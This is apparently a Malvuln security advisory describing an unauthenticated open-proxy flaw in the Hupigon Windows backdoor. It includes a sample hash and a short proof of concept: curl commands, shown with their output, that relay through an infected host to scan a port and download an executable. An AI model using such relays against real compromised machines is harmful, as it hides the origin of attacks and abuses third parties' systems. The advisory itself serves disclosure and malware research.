Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Hupigon.aiss  
Vulnerability: Unauthenticated Open Proxy  
Description: The malware listens on TCP ports 8080, 1080 and drops its executable under Windows dir. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.  
Type: PE32  
MD5: 79affcb4051d36dde3d1543a4fd88368  
Vuln ID: MVID-2021-0270  
Dropped files:  
Disclosure: 07/03/2021  
Scan port 21)  
curl -H "Host:" -v  
Rebuilt URL to:  
Connected to ( port 8080 (#0)  
GET / HTTP/1.1  
User-Agent: curl/7.55.1  
Accept: */*  
220 INetSim FTP Service ready.  
500 Unknown command.  
Download filez)  
curl -H "Host:" -v --out DOOM.exe  
* Trying  
GET /DOOM.exe HTTP/1.1  
User-Agent: curl/7.55.1  
Accept: */*  
HTTP 1.0, assume close after body  
HTTP/1.0 200 OK  
Server: SimpleHTTP/0.6 Python/2.7.6  
Date: Fri, 02 Jul 2021 02:03:28 GMT  
Content-type: application/x-msdos-program  
Content-Length: 103533  
Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT  
{ [102194 bytes data]  
100 101k 100 101k 0 0 101k 0 0:00:01 --:--:-- 0:00:01 927k  
* Closing connection 0  
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